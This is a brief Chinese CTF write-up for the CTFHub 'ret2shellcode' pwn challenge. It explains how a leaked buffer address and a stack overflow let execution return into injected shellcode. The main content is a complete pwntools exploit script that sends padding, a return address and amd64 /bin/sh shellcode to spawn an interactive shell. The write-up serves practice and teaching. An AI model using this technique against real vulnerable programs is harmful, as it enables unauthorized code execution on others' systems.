CTFHUB-PWN-ret2shellcode

checksec

image-20211026210556140

IDA

image-20211026210637404

从main函数来看,程序运行时会先输出buf_addr,利用exp脚本获取它即可。

然后程序给出一个输入点,可以通过覆盖完这个输入点,返回到我们获得的buf_addr,再通过溢出达到shellcode

运行

image-20211026212119240

可以看到一串地址,但它会每次变化

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

p = process('./pwn')
# p = remote('challenge-2e237696f74ad1c2.sandbox.ctfhub.com', 24809)

context.arch = 'amd64'

p.recvuntil('it : [')
buf_addr = int(p.recvuntil(']', drop = True), 16)
shellcode_addr = buf_addr + 0x10 + 0x8 + 0x8
shellcode = asm(shellcraft.amd64.linux.sh())
payload = b'a' * 0x18 + p64(shellcode_addr) + shellcode
p.sendlineafter('someting : ', payload)

p.interactive()

结果

image-20211026215229086